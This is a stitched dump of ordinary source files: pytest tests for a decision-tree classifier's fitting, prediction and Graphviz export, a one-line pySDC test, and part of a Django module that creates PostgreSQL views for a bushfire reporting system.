0, 0, 0, 0, 0, 0]; 4 [0, 1, 0, 0, 0, 0, 0, 0]; 5 X[2]<=0.5 [0, 0, 1, 1, 0, 0, 0, 0]; 5->6; 5->7; 6 [0, 0, 1, 0, 0, 0, 0, 0]; 7 [0, 0, 0, 1, 0, 0, 0, 0]; 8 X[1]<=0.5 [0, 0, 0, 0, 1, 1, 1, 1]; 8->9; 8->12; 9 X[2]<=0.5 [0, 0, 0, 0, 1, 1, 0, 0]; 9->10; 9->11; 10 [0, 0, 0, 0, 1, 0, 0, 0]; 11 [0, 0, 0, 0, 0, 1, 0, 0]; 12 X[2]<=0.5 [0, 0, 0, 0, 0, 0, 1, 1]; 12->13; 12->14; 13 [0, 0, 0, 0, 0, 0, 1, 0]; 14 [0, 0, 0, 0, 0, 0, 0, 1]; ' assert data == data_target predict_proba = clf.predict_proba(X_test_mv) predict_proba_target = [ [ 1., 0., 0., 0., 0., 0., 0., 0. ], [ 0.5, 0.5, 0., 0., 0., 0., 0., 0. ], [ 0.5, 0., 0.5, 0., 0., 0., 0., 0. ], [ 0.25, 0.25, 0.25, 0.25, 0., 0., 0., 0. ], [ 0.5, 0., 0., 0., 0.5, 0., 0., 0. ], [ 0.25, 0.25, 0., 0., 0.25, 0.25, 0., 0. ], [ 0.25, 0., 0.25, 0., 0.25, 0., 0.25, 0. ], [ 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125] ] for a, b in zip(predict_proba, predict_proba_target): for ai, bi in zip(a, b): assert ai > bi - precision and ai < bi + precision # - simple dataset - NaN(s) in training replacing some 1s, all 1s are NaN(s) in testing X_train_mv = np.array([ [0, 0, 0], [0, 0, np.NaN], [0, np.NaN, 0], [0, np.NaN, np.NaN], [1, 0, 0], [1, 0, 1], [1, 1, 0], [1, 1, 1] ]).astype(np.double) y_train_mv = np.array([0, 1, 2, 3, 4, 5, 6, 7]) X_test_mv = np.array([ [0, 0, 0], [0, 0, np.NaN], [0, np.NaN, 0], [0, np.NaN, np.NaN], [np.NaN, 0, 0], [np.NaN, 0, np.NaN], [np.NaN, np.NaN, 0], [np.NaN, np.NaN, np.NaN] ]).astype(np.double) clf = DecisionTreeClassifier(missing_values='NMAR', random_state=11) clf.fit(X_train_mv, y_train_mv) data = clf.export_text() data_target = r'0 X[0]<=0.5 [1, 1, 1, 1, 1, 1, 1, 1]; 0->1; 0->8; 1 X[1] NA [1, 1, 1, 1, 0, 0, 0, 0]; 1->2; 1->5; 2 X[2] NA [0, 0, 1, 1, 0, 0, 0, 0]; 2->3; 2->4; 3 [0, 0, 0, 1, 0, 0, 0, 0]; 4 [0, 0, 1, 0, 0, 0, 0, 0]; 5 X[2] NA [1, 1, 0, 0, 0, 0, 0, 0]; 5->6; 5->7; 6 [0, 1, 0, 0, 0, 0, 0, 0]; 7 [1, 0, 0, 0, 0, 0, 0, 0]; 8 X[1]<=0.5 [0, 0, 0, 0, 1, 1, 1, 1]; 8->9; 8->12; 9 X[2]<=0.5 [0, 0, 0, 0, 1, 1, 0, 0]; 9->10; 9->11; 10 [0, 0, 0, 0, 1, 0, 0, 0]; 11 [0, 0, 0, 0, 0, 1, 0, 0]; 12 X[2]<=0.5 [0, 0, 0, 0, 0, 0, 1, 1]; 12->13; 12->14; 13 [0, 0, 0, 0, 0, 0, 1, 0]; 14 [0, 0, 0, 0, 0, 0, 0, 1]; ' assert data == data_target predict_proba = clf.predict_proba(X_test_mv) predict_proba_target = [ [ 1., 0., 0., 0., 0., 0., 0., 0. ], [ 0., 1., 0., 0., 0., 0., 0., 0. ], [ 0., 0., 1., 0., 0., 0., 0., 0. ], [ 0., 0., 0., 1., 0., 0., 0., 0. ], [ 0.5, 0., 0., 0., 0.5, 0., 0., 0. ], [ 0., 0.5, 0., 0., 0.25, 0.25, 0., 0. ], [ 0., 0., 0.5, 0., 0.25, 0., 0.25, 0. ], [ 0., 0., 0., 0.5, 0.125, 0.125, 0.125, 0.125] ] for a, b in zip(predict_proba, predict_proba_target): for ai, bi in zip(a, b): assert ai > bi - precision and ai < bi + precision # random_state # ------------ def test_fit_randomstate(): # integers clf = DecisionTreeClassifier(max_features='auto', random_state=-1) with pytest.raises(OverflowError) as excinfo: clf.fit(X, y) clf = DecisionTreeClassifier(max_depth=2, max_features=1, max_thresholds=1, random_state=999) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[2]<=0.528 [5, 5]; 0->1; 0->4; 1 X[0]<=0.64 [2.5, 3.12]; 1->2; 1->3; 2 [2.5, 0.62]; 3 [0, 2.5]; 4 X[0]<=0.187 [2.5, 1.88]; 4->5; 4->6; 5 [2.5, 1.25]; 6 [0, 0.62]; ' assert data == data_target # misc clf = DecisionTreeClassifier(max_features='auto', random_state=[]) with pytest.raises(TypeError) as excinfo: clf.fit(X, y) # DecisionTreeClassifier.predict_proba() # ====================================== def test_predict_proba(): clf = DecisionTreeClassifier(random_state=0) clf.fit(X, y) predict_proba = clf.predict_proba(X_test) predict_proba_target = [ [1., 0.], [1., 0.], [0., 1.], [0., 1.], [0., 1.], [0., 1.], [0., 1.], [0., 1.] ] for a, b in zip(predict_proba, predict_proba_target): for ai, bi in zip(a, b): assert ai > bi - precision and ai < bi + precision # not fitted clf = DecisionTreeClassifier(random_state=0) with pytest.raises(NotFittedError): predict_proba = clf.predict_proba(X_test) # class_balance # ------------- def test_predict_proba_classbalance(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) predict_proba = clf.predict_proba(X_test) predict_proba_target = [ [1., 0.], [1., 0.], [0., 1.], [0., 1.], [0., 1.], [0., 1.], [0., 1.], [0., 1.] ] for a, b in zip(predict_proba, predict_proba_target): for ai, bi in zip(a, b): assert ai > bi - precision and ai < bi + precision # DecisionTreeClassifier.predict() # ================================ def test_predict(): clf = DecisionTreeClassifier(random_state=0) clf.fit(X, y) predict = clf.predict(X_test) predict_target = [0, 0, 1, 1, 1, 1, 1, 1] for a, b in zip(predict, predict_target): assert a > b - precision and a < b + precision # not fitted clf = DecisionTreeClassifier() with pytest.raises(NotFittedError): predict = clf.predict(X_test) # class_balance # ------------- def test_predict_classbalance(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) predict = clf.predict(X_test) predict_target = [0, 0, 1, 1, 1, 1, 1, 1] for a, b in zip(predict, predict_target): assert a > b - precision and a < b + precision # DecisionTreeClassifier.feature_importances_ # =========================================== def test_feature_importances(): clf = DecisionTreeClassifier(class_balance=None, random_state=0) clf.fit(X, y) feature_importances = clf.feature_importances_ feature_importances_target = [0.25, 0.75, 0.] for a, b in zip(feature_importances, feature_importances_target): assert a > b - precision # not fitted clf = DecisionTreeClassifier(class_balance=None) with pytest.raises(NotFittedError): feature_importances = clf.feature_importances_ # class_balance # ------------- def test_feature_importances_classbalance(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) feature_importances = clf.feature_importances_ feature_importances_target = [0.45454545, 0.54545455, 0.] for a, b in zip(feature_importances, feature_importances_target): assert a > b - precision # DecisionTreeClassifier.export_graphviz() # ======================================== def test_export_graphviz(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) dot_data = clf.export_graphviz() dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="X[0] <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="X[1] <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # feature_names # ------------- def test_export_graphviz_inverse_class(): y_inv_c = np.array([1, 1, 0, 0, 0, 0, 0, 0, 0, 0]) clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y_inv_c) dot_data = clf.export_graphviz() print(dot_data) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="X[0] > 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 4 [penwidth=3.125000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 1 [penwidth=6.875000] ;' '\n' \ r'4 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'1 [label="X[1] > 0.5\n[0.27, 0.73]", fillcolor="#00FF0034"] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'3 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'2 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # feature_names # ------------- def test_export_graphviz_featurenames(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) with pytest.raises(TypeError): dot_data = clf.export_graphviz(feature_names=0) with pytest.raises(IndexError): dot_data = clf.export_graphviz(feature_names=[ ]) with pytest.raises(IndexError): dot_data = clf.export_graphviz(feature_names=["f1"]) dot_data = clf.export_graphviz(feature_names=["f1", "f2", "f3"]) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="f1 <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="f2 <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target dot_data = clf.export_graphviz(feature_names=["f1", "f2", "f3", "f4"]) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="f1 <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="f2 <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # class_names # ----------- def test_export_graphviz_classnames(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) with pytest.raises(TypeError): dot_data = clf.export_graphviz(class_names=0) with pytest.raises(IndexError): dot_data = clf.export_graphviz(class_names=[ ]) with pytest.raises(IndexError): dot_data = clf.export_graphviz(class_names=['A']) dot_data = clf.export_graphviz(class_names=['A', 'B']) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="X[0] <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="X[1] <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\nA", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target dot_data = clf.export_graphviz(class_names=['A', 'B', 'C']) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="X[0] <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="X[1] <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\nA", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # rotate # ------ def test_export_graphviz_rotate(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) dot_data = clf.export_graphviz(rotate=True) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'rankdir=LR ;' '\n' \ r'0 [label="X[0] <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=-45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="X[1] <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target dot_data = clf.export_graphviz(rotate=False) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="X[0] <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="X[1] <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # feature_names + class_names # --------------------------- def test_export_graphviz_featurenames_classnames(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) dot_data = clf.export_graphviz(feature_names=["f1", "f2", "f3"], class_names=['A', 'B']) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="f1 <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="f2 <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\nA", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # feature_names + class_names + rotate # ------------------------------------ def test_export_graphviz_featurenames_classnames_rotate(): clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) dot_data = clf.export_graphviz(feature_names=["f1", "f2", "f3"], class_names=['A', 'B'], rotate=True) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'rankdir=LR ;' '\n' \ r'0 [label="f1 <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=-45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="f2 <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\nA", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # Extreme Data # ============ # Empty X, y training data # ------------------------ def test_empty_Xy_train(): X_train = np.array([]).astype(np.double).reshape(1, -1) y_train = np.array([]) clf = DecisionTreeClassifier() with pytest.raises(ValueError): clf.fit(X_train, y_train) # 1 X, y training data # -------------------- def test_1_Xy_train(): X_train = np.array([[0, 0, 0]]).astype(np.double).reshape(1, -1) y_train = np.array([0]) clf = DecisionTreeClassifier() clf.fit(X_train, y_train) data = clf.export_text() data_target = r'0 [1]; ' assert data == data_target X_test = np.array([[1, 1, 1]]).astype(np.double).reshape(1, -1) predict = clf.predict(X_test) predict_target = [0] for a, b in zip(predict, predict_target): assert a > b - precision and a < b + precision # All X = 0 training data # ----------------------- def test_X_0_train(): X_train = np.array([[0, 0, 0], [0, 0, 0], [0, 0, 0]]).astype(np.double) y_train = np.array([0, 1, 1]) clf = DecisionTreeClassifier(class_balance=None) clf.fit(X_train, y_train) data = clf.export_text() data_target = r'0 [1, 2]; ' assert data == data_target predict = clf.predict(X_train) predict_target = [1, 1, 1] for a, b in zip(predict, predict_target): assert a > b - precision and a < b + precision # All y = 0 training data # ----------------------- def test_y_0_train(): X_train = np.array([[0, 0, 0], [0, 0, 1], [0, 1, 0]]).astype(np.double) y_train = np.array([0, 0, 0]) clf = DecisionTreeClassifier() clf.fit(X_train, y_train) data = clf.export_text() print(data) data_target = r'0 [3]; ' assert data == data_target predict = clf.predict(X_train) predict_target = [0, 0, 0] for a, b in zip(predict, predict_target): assert a > b - precision and a < b + precision # Number of classes very large # ---------------------------- # code coverage for duplication of offset_list in create_rgb_LUT in export_graphviz( ) def test_numberclasses_large(): n_classes = 97 # max number of colors = 96 X_train = np.array(range(n_classes)).astype(np.double).reshape(-1,1) y_train = np.array(range(n_classes)) clf = DecisionTreeClassifier() clf.fit(X_train, y_train) dot_data = clf.export_graphviz() # no error raised # Mismatch number of features # --------------------------- def test_mismatch_nfeatures(): X_train = np.array([[0, 0, 0], [0, 0, 1], [0, 1, 0]]).astype(np.double) y_train = np.array([0, 1, 2]) X_test = np.array([[0, 0, 0, 0], [0, 0, 1, 0], [0, 1, 0, 0]]).astype(np.double) y_test = np.array([0, 1, 2]) clf = DecisionTreeClassifier() clf.fit(X_train, y_train) with pytest.raises(ValueError) as excinfo: predict = clf.predict(X_test) assert 'number of features' in str(excinfo.value) with pytest.raises(ValueError) as excinfo: predict_proba = clf.predict_proba(X_test) assert 'number of features' in str(excinfo.value)

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924097cbe55d3bab2facae4e74c2b12393daae14

141

py

Python

pySDC/tests/test_projects/test_TOMS/test_visualize_pySDC_with_PETSc.py

brownbaerchen/pySDC

31293859d731646aa09cef4345669eac65501550

[ "BSD-2-Clause" ]

20

2015-03-21T09:02:55.000Z

2022-02-26T20:22:21.000Z

pySDC/tests/test_projects/test_TOMS/test_visualize_pySDC_with_PETSc.py

brownbaerchen/pySDC

31293859d731646aa09cef4345669eac65501550

[ "BSD-2-Clause" ]

61

2015-03-02T09:35:55.000Z

2022-03-17T12:42:48.000Z

pySDC/tests/test_projects/test_TOMS/test_visualize_pySDC_with_PETSc.py

brownbaerchen/pySDC

31293859d731646aa09cef4345669eac65501550

[ "BSD-2-Clause" ]

19

2015-02-20T11:52:33.000Z

2022-02-02T10:46:27.000Z

from pySDC.projects.TOMS.visualize_pySDC_with_PETSc import main def test_visualize_pySDC_with_PETSc(): main(cwd='pySDC/projects/TOMS/')

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py

Python

bfrs/sql_views.py

xzzy/bfrs

07eeaffff207bf4fca1c95a5ba25c9118c9eab7a

[ "Apache-2.0" ]

null

bfrs/sql_views.py

xzzy/bfrs

07eeaffff207bf4fca1c95a5ba25c9118c9eab7a

[ "Apache-2.0" ]

3

2020-02-12T00:03:12.000Z

2021-12-13T19:45:47.000Z

bfrs/sql_views.py

xzzy/bfrs

07eeaffff207bf4fca1c95a5ba25c9118c9eab7a

[ "Apache-2.0" ]

5

2018-02-16T02:05:40.000Z

2022-01-18T03:35:41.000Z

from bfrs.models import Bushfire,CaptureMethod from django.db import connection def create_bushfirelist_view(): """ cursor.execute('''drop view bfrs_bushfirelist_v''') """ from django.db import connection cursor = connection.cursor() cursor.execute(''' DROP VIEW IF EXISTS bfrs_bushfirelist_v; CREATE OR REPLACE VIEW bfrs_bushfirelist_v AS SELECT b.id, b.origin_point, CASE WHEN b.report_status >= 2 THEN ST_AsGeoJSON(st_envelope(b.fire_boundary)) ELSE ST_AsGeoJSON(b.fire_boundary) END as fire_boundary, b.fb_validation_req, b.created, b.modified, b.name, b.fire_number, b.year, b.reporting_year, b.prob_fire_level, b.max_fire_level, CASE WHEN b.media_alert_req IS NULL THEN NULL WHEN b.media_alert_req THEN 1 ELSE 0 END as media_alert_req, CASE WHEN b.park_trail_impacted IS NULL THEN NULL WHEN b.park_trail_impacted THEN 1 ELSE 0 END as park_trail_impacted, b.cause_state, b.other_cause, b.dfes_incident_no, b.job_code, b.fire_position, b.sss_id, CASE WHEN b.fire_position_override IS NULL THEN NULL WHEN b.fire_position_override THEN 1 ELSE 0 END as fire_position_override, CASE WHEN b.fire_not_found IS NULL THEN NULL WHEN b.fire_not_found THEN 1 ELSE 0 END as fire_not_found, b.other_info, b.init_authorised_date, b.dispatch_pw, CASE WHEN b.dispatch_aerial IS NULL THEN NULL WHEN b.dispatch_aerial THEN 1 ELSE 0 END as dispatch_aerial, b.dispatch_pw_date, b.dispatch_aerial_date, b.fire_detected_date, CASE WHEN fire_detected_date IS NULL THEN created ELSE fire_detected_date END as fire_detected_or_created, b.fire_contained_date, b.fire_controlled_date, b.fire_safe_date, b.other_first_attack, b.other_initial_control, b.other_final_control, CASE WHEN b.arson_squad_notified IS NULL THEN NULL WHEN b.arson_squad_notified THEN 1 ELSE 0 END as arson_squad_notified, CASE WHEN b.investigation_req IS NULL THEN NULL WHEN b.investigation_req THEN 1 ELSE 0 END as investigation_req, b.offence_no, b.initial_area, b.area, CASE WHEN b.area_limit IS NULL THEN NULL WHEN b.area_limit THEN 1 ELSE 0 END as area_limit, CASE WHEN b.initial_area_unknown IS NULL THEN NULL WHEN b.initial_area_unknown THEN 1 ELSE 0 END as initial_area_unknown, b.authorised_date, b.report_status, CASE WHEN b.archive IS NULL THEN NULL WHEN b.archive THEN 1 ELSE 0 END as archive, CASE WHEN b.valid_bushfire_id is null THEN NULL ELSE (SELECT report_status FROM bfrs_bushfire WHERE id = b.valid_bushfire_id) END as linked_bushfire_status, CASE WHEN b.valid_bushfire_id is null THEN NULL ELSE (SELECT fire_number FROM bfrs_bushfire WHERE id = b.valid_bushfire_id) END as linked_bushfire_number, b.authorised_by_id, b.cause_id, b.creator_id, b.district_id, b.duty_officer_id, b.field_officer_id, b.final_control_id, b.first_attack_id, b.init_authorised_by_id, b.initial_control_id, b.modifier_id, b.region_id, b.tenure_id FROM bfrs_bushfire b WHERE b.archive = false AND (b.report_status < {0} OR b.report_status = {1}); '''.format(Bushfire.STATUS_INVALIDATED,Bushfire.STATUS_MERGED)) def create_bushfire_view(): """ cursor.execute('''drop view bfrs_bushfire_v''') """ from django.db import connection cursor = connection.cursor() cursor.execute(''' DROP VIEW IF EXISTS bfrs_bushfire_v; CREATE OR REPLACE VIEW bfrs_bushfire_v AS SELECT b.id, b.origin_point, b.fb_validation_req, to_char(b.created at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as created, to_char(b.modified at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as modified, b.name, b.fire_number, b.year::text || '/' || (b.year + 1)::text as financial_year, b.reporting_year, b.prob_fire_level, b.max_fire_level, CASE WHEN media_alert_req IS NULL THEN '' WHEN media_alert_req THEN 'Yes' ELSE 'No' END as media_alert_req, CASE WHEN park_trail_impacted IS NULL THEN '' WHEN park_trail_impacted THEN 'Yes' ELSE 'No' END as park_trail_impacted, CASE WHEN b.cause_state IS NULL THEN '' WHEN b.cause_state = 1 THEN 'Known' WHEN b.cause_state = 2 THEN 'Possible' ELSE b.cause_state::text END as cause_state, b.other_cause, b.dfes_incident_no, b.job_code, b.fire_position, CASE WHEN b.fire_position_override IS NULL THEN '' WHEN b.fire_position_override THEN 'Yes' ELSE 'No' END as fire_position_override, CASE WHEN fire_not_found IS NULL THEN '' WHEN fire_not_found THEN 'Yes' ELSE 'No' END as fire_not_found, b.other_info, to_char(b.init_authorised_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as init_authorised_date, CASE WHEN b.dispatch_pw IS NULL THEN '' WHEN b.dispatch_pw = 1 THEN 'Yes' WHEN b.dispatch_pw = 2 THEN 'No' WHEN b.dispatch_pw = 3 THEN 'Unknown' ELSE b.dispatch_pw::text END as dispatch_pw, CASE WHEN b.dispatch_aerial IS NULL THEN '' WHEN b.dispatch_aerial THEN 'Yes' ELSE 'No' END as dispatch_aerial, CASE WHEN b.valid_bushfire_id is null THEN NULL ELSE (SELECT CASE WHEN lb.report_status = 1 THEN 'Initial Fire Report' WHEN lb.report_status = 2 THEN 'Notifications Submitted' WHEN lb.report_status = 3 THEN 'Report Authorised' WHEN lb.report_status = 4 THEN 'Reviewed' WHEN lb.report_status = 5 THEN 'Invalidated' WHEN lb.report_status = 6 THEN 'Outstanding Fires' WHEN lb.report_status = 100 THEN 'Merged Fires' WHEN lb.report_status = 101 THEN 'Duplicate Fires' ELSE lb.report_status::text END as report_status FROM bfrs_bushfire lb WHERE lb.id = b.valid_bushfire_id) END as linked_bushfire_status, CASE WHEN b.valid_bushfire_id is null THEN NULL ELSE (SELECT fire_number FROM bfrs_bushfire WHERE id = b.valid_bushfire_id) END as linked_bushfire_number, to_char(b.dispatch_pw_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as dispatch_pw_date, to_char(b.dispatch_aerial_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI:SS') as dispatch_aerial_date, to_char(b.fire_detected_date at time zone 'Australia/Perth','DD/MM/YYYY') as fire_detected_date, to_char(b.fire_contained_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_contained_date, to_char(b.fire_controlled_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_controlled_date, to_char(b.fire_safe_date at time zone 'Australia/Perth','DD/MM/YYYY HH24:MI') as fire_safe_date, CASE WHEN fire_detected_date IS NULL THEN created ELSE fire_detected_date END as fire_detected_or_created, b.other_first_attack, b.other_initial_control, b.other_final_control, CASE WHEN b.arson_squad_notified IS NULL THEN '' WHEN b.arson_squad_notified THEN 'Yes' ELSE 'No' END as arson_squad_notified, CASE WHEN b.investigation_req IS NULL THEN '' WHEN b.investigation_req THEN 'Yes' ELSE 'No' END as investigation_req, b.offence_no, 